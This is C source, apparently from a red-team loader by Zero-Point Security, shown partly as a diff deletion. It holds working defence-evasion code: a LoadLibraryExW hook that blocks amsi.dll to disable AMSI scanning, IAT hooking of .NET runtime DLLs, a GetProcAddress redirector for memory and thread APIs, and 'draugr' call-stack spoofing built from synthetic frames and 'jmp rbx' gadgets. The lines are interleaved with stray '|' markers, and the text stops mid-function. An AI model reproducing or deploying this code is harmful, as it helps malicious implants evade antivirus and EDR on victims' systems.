HMODULE WINAPI _LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
|
||||
{
|
||||
/* get name of dll being loaded */
|
||||
LPCWSTR back = MSVCRT$wcsrchr(lpLibFileName, L'\\');
|
||||
LPCWSTR fwd = MSVCRT$wcsrchr(lpLibFileName, L'/');
|
||||
LPCWSTR name = back > fwd ? back : fwd;
|
||||
|
||||
if (name) { name++; }
|
||||
else { name = lpLibFileName; }
|
||||
|
||||
if (MSVCRT$_wcsicmp(name, L"amsi.dll") == 0) {
|
||||
/* return without loading (─ ‿ ─) */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* spoof the call */
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$LoadLibraryExW);
|
||||
call.argc = 3;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
call.args[1] = (ULONG_PTR)(hFile);
|
||||
call.args[2] = (ULONG_PTR)(dwFlags);
|
||||
|
||||
/* hold the result */
|
||||
HMODULE result = (HMODULE)draugr(&call);
|
||||
|
||||
/* check to see if it's mscoreei.dll or clr.dll */
|
||||
if (MSVCRT$_wcsicmp(name, L"mscoreei.dll") == 0 || MSVCRT$_wcsicmp(name, L"clr.dll") == 0)
|
||||
{
|
||||
/* walk the IAT and hook LoadLibraryExW */
|
||||
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew);
|
||||
|
||||
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result);
|
||||
|
||||
while (importDescriptor->Name != 0)
|
||||
{
|
||||
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk);
|
||||
|
||||
while (originalFirstThunk->u1.AddressOfData != 0)
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData);
|
||||
BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
|
||||
|
||||
if (!isOrdinal)
|
||||
{
|
||||
DWORD h = hash((char *)(functionName->Name));
|
||||
|
||||
if (h == LOADLIBRARYEXW_HASH)
|
||||
{
|
||||
DWORD oldProtect = 0;
|
||||
|
||||
if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect))
|
||||
{
|
||||
firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW);
|
||||
_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
++originalFirstThunk;
|
||||
++firstThunk;
|
||||
}
|
||||
|
||||
importDescriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryW(LPCWSTR lpLibFileName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(KERNEL32$LoadLibraryW);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
|
||||
/* hold the result */
|
||||
HMODULE result = (HMODULE)draugr(&call);
|
||||
|
||||
/* was this mscoree.dll? */
|
||||
if (MSVCRT$_wcsicmp(lpLibFileName, L"mscoree.dll") == 0)
|
||||
{
|
||||
/* parse the module's headers */
|
||||
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)result;
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)result + dosHeaders->e_lfanew);
|
||||
|
||||
/* get the import directory */
|
||||
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)result);
|
||||
|
||||
/* walk every imported module */
|
||||
while (importDescriptor->Name != 0)
|
||||
{
|
||||
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->OriginalFirstThunk);
|
||||
PIMAGE_THUNK_DATA firstThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)result + importDescriptor->FirstThunk);
|
||||
|
||||
/* walk every imported function */
|
||||
while (originalFirstThunk->u1.AddressOfData != 0)
|
||||
{
|
||||
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)result + originalFirstThunk->u1.AddressOfData);
|
||||
BOOL isOrdinal = (originalFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) != 0;
|
||||
|
||||
if (!isOrdinal)
|
||||
{
|
||||
DWORD h = hash((char *)(functionName->Name));
|
||||
|
||||
/* is the imported function LoadLibraryExW? */
|
||||
if (h == LOADLIBRARYEXW_HASH)
|
||||
{
|
||||
/* yep, hook it */
|
||||
DWORD oldProtect = 0;
|
||||
if (_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, PAGE_READWRITE, &oldProtect))
|
||||
{
|
||||
firstThunk->u1.Function = (DWORD_PTR)(_LoadLibraryExW);
|
||||
_VirtualProtect((LPVOID)(&firstThunk->u1.Function), 8, oldProtect, &oldProtect);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
++originalFirstThunk;
|
||||
++firstThunk;
|
||||
}
|
||||
|
||||
importDescriptor++;
|
||||
}
|
||||
}
|
||||
|
||||
/* now return the module */
|
||||
return result;
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA(LPCSTR lpLibFileName)
|
||||
{
|
||||
FUNCTION_CALL call;
|
||||
memset(&call, 0, sizeof(FUNCTION_CALL));
|
||||
|
||||
call.function = (PVOID)(LoadLibraryA);
|
||||
call.argc = 1;
|
||||
call.args[0] = (ULONG_PTR)(lpLibFileName);
|
||||
|
||||
return (HMODULE)draugr(&call);
|
||||
}
|
||||
|
||||
char * WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
char * result = (char *)GetProcAddress(hModule, lpProcName);
|
||||
|
||||
/*
|
||||
* Check to see what function is being resolved.
|
||||
* Note that lpProcName may be an ordinal, not a string.
|
||||
*/
|
||||
|
||||
if ((ULONG_PTR)lpProcName >> 16 == 0) {
|
||||
/* it's an ordinal */
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Look at the ones we want to hook */
|
||||
|
||||
/* Calculte function hash */
|
||||
DWORD h = hash((char *)lpProcName);
|
||||
|
||||
if (h == GETPROCADDRESS_HASH) {
|
||||
return (char *)_GetProcAddress;
|
||||
}
|
||||
else if (h == LOADLIBRARYA_HASH) {
|
||||
return (char *)_LoadLibraryA;
|
||||
}
|
||||
else if (h == LOADLIBRARYW_HASH) {
|
||||
return (char *)_LoadLibraryW;
|
||||
}
|
||||
else if (h == LOADLIBRARYEXW_HASH) {
|
||||
return (char*)_LoadLibraryExW;
|
||||
}
|
||||
else if (h == VIRTUALALLOC_HASH) {
|
||||
return (char *)_VirtualAlloc;
|
||||
}
|
||||
else if (h == VIRTUALALLOCEX_HASH) {
|
||||
return (char *)_VirtualAllocEx;
|
||||
}
|
||||
else if (h == VIRTUALPROTECT_HASH) {
|
||||
return (char *)_VirtualProtect;
|
||||
}
|
||||
else if (h == VIRTUALPROTECTEX_HASH) {
|
||||
return (char *)_VirtualProtectEx;
|
||||
}
|
||||
else if (h == VIRTUALFREE_HASH) {
|
||||
return (char *)_VirtualFree;
|
||||
}
|
||||
else if (h == GETTHREADCONTEXT_HASH) {
|
||||
return (char *)_GetThreadContext;
|
||||
}
|
||||
else if (h == SETTHREADCONTEXT_HASH) {
|
||||
return (char *)_SetThreadContext;
|
||||
}
|
||||
else if (h == RESUMETHREAD_HASH) {
|
||||
return (char *)_ResumeThread;
|
||||
}
|
||||
else if (h == CREATETHREAD_HASH) {
|
||||
return (char *)_CreateThread;
|
||||
}
|
||||
else if (h == CREATEREMOTETHREAD_HASH) {
|
||||
return (char *)_CreateRemoteThread;
|
||||
}
|
||||
else if (h == OPENPROCESS_HASH) {
|
||||
return (char *)_OpenProcess;
|
||||
}
|
||||
else if (h == OPENTHREAD_HASH) {
|
||||
return (char *)_OpenThread;
|
||||
}
|
||||
else if (h == CLOSEHANDLE_HASH) {
|
||||
return (char *)_CloseHandle;
|
||||
}
|
||||
else if (h == CREATEFILEMAPPINGA_HASH) {
|
||||
return (char *)_CreateFileMappingA;
|
||||
}
|
||||
else if (h == MAPVIEWOFFILE_HASH) {
|
||||
return (char *)_MapViewOfFile;
|
||||
}
|
||||
else if (h == UNMAPVIEWOFFILE_HASH) {
|
||||
return (char *)_UnmapViewOfFile;
|
||||
}
|
||||
else if (h == VIRTUALQUERY_HASH) {
|
||||
return (char *)_VirtualQuery;
|
||||
}
|
||||
else if (h == DUPLICATEHANDLE_HASH) {
|
||||
return (char *)_DuplicateHandle;
|
||||
}
|
||||
else if (h == READPROCESSMEMORY_HASH) {
|
||||
return (char *)_ReadProcessMemory;
|
||||
}
|
||||
else if (h == WRITEPROCESSMEMORY_HASH) {
|
||||
return (char *)_WriteProcessMemory;
|
||||
}
|
||||
else if (h == EXITTHREAD_HASH) {
|
||||
g_ExitThread = result;
|
||||
return (char *)_ExitThread;
|
||||
}
|
||||
else if (h == CREATEPROCESSA_HASH) {
|
||||
return (char *)_CreateProcessA;
|
||||
}
|
||||
else if (h == SLEEP_HASH) {
|
||||
return (char *)_Sleep;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void go(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *)_LoadLibraryA;
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
|
||||
if (layout != NULL) {
|
||||
g_layout = *layout;
|
||||
}
|
||||
|
||||
initFrameInfo();
|
||||
}
|
||||
@@ -1,433 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "hash.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryW (LPCWSTR);
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryExW (LPCWSTR, HANDLE, DWORD);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
|
||||
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ();
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer (PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext (PCONTEXT);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ();
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue (PCONTEXT, BOOLEAN);
|
||||
|
||||
DECLSPEC_IMPORT int WINAPIV MSVCRT$_wcsicmp (const wchar_t *, const wchar_t *);
|
||||
DECLSPEC_IMPORT wchar_t * WINAPIV MSVCRT$wcsrchr (const wchar_t *, wchar_t);
|
||||
|
||||
/* the proxy pic */
|
||||
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void applyxor(char * data, DWORD len);
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask);
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask);
|
||||
void xormemory(BOOL mask);
|
||||
|
||||
void initFrameInfo()
|
||||
{
|
||||
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
|
||||
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
|
||||
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
|
||||
g_stackFrame.Frame1.Offset = 0x17;
|
||||
|
||||
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
|
||||
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
|
||||
g_stackFrame.Frame2.Offset = 0x2c;
|
||||
|
||||
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
|
||||
|
||||
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
|
||||
|
||||
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
|
||||
|
||||
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD h = hash((char*)pImgSectionHeader[i].Name);
|
||||
|
||||
if (h == TEXT_HASH)
|
||||
{
|
||||
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
|
||||
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
|
||||
{
|
||||
PUNWIND_INFO pUnwindInfo = NULL;
|
||||
ULONG unwindOperation = 0;
|
||||
ULONG operationInfo = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frameOffset = 0;
|
||||
|
||||
STACK_FRAME stackFrame;
|
||||
memset(&stackFrame, 0, sizeof(stackFrame));
|
||||
|
||||
if (!pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
|
||||
|
||||
while (index < pUnwindInfo->CountOfCodes)
|
||||
{
|
||||
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
|
||||
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwindOperation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stackFrame.TotalStackSize += 8;
|
||||
if (RBP_OP_INFO == operationInfo) {
|
||||
stackFrame.PushRbp = TRUE;
|
||||
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
|
||||
stackFrame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
|
||||
if (operationInfo == 0) {
|
||||
frameOffset *= 8;
|
||||
}
|
||||
else {
|
||||
index += 1;
|
||||
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
stackFrame.TotalStackSize += frameOffset;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SET_FPREG)
|
||||
{
|
||||
stackFrame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = pUnwindInfo->CountOfCodes;
|
||||
if (0 != (index & 1)) {
|
||||
index += 1;
|
||||
}
|
||||
|
||||
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
|
||||
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
|
||||
}
|
||||
|
||||
stackFrame.TotalStackSize += 8;
|
||||
return (PVOID)(stackFrame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
|
||||
{
|
||||
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
|
||||
DWORD64 ImageBase = 0;
|
||||
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
|
||||
|
||||
if (!returnAddress) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
|
||||
|
||||
if (NULL == pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
|
||||
}
|
||||
|
||||
PVOID findGadget(PVOID pModuleAddr)
|
||||
{
|
||||
BOOL bFoundGadgets = FALSE;
|
||||
DWORD dwTextSectionSize = 0;
|
||||
DWORD dwTextSectionVa = 0;
|
||||
DWORD dwCounter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG randomNbr = 0;
|
||||
PVOID pModTextSection = NULL;
|
||||
|
||||
PVOID pGadgetList[15];
|
||||
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
|
||||
|
||||
if (!bFoundGadgets)
|
||||
{
|
||||
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
|
||||
|
||||
for (int i = 0; i < (dwTextSectionSize - 2); i++)
|
||||
{
|
||||
// Searching for jmp rbx gadget
|
||||
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
|
||||
{
|
||||
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
|
||||
dwCounter++;
|
||||
|
||||
if (dwCounter == 15) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bFoundGadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
randomNbr = NTDLL$RtlRandomEx(&seed);
|
||||
randomNbr %= dwCounter;
|
||||
|
||||
return pGadgetList[randomNbr];
|
||||
}
|
||||
|
||||
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID returnAddress = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugrParameters;
|
||||
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
|
||||
|
||||
// configure BaseThreadInitThunk frame
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
|
||||
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// configure RtlUserThreadStart frame.
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
|
||||
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
